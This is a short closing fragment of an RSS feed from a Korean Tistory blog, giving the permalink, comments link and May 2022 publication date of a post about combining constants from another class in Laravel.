      <guid isPermaLink="true">https://bug41.tistory.com/178</guid>
      <comments>https://bug41.tistory.com/entry/Laravel-%EB%8B%A4%EB%A5%B8-%ED%81%B4%EB%9E%98%EC%8A%A4%EC%9D%98-%EC%83%81%EC%88%98-%EB%B3%80%EC%88%98-%ED%95%A9%EC%B9%98%EA%B8%B0#entry178comment</comments>
      <pubDate>Thu, 26 May 2022 10:50:47 +0900</pubDate>
    </item>
  </channel>
</rss>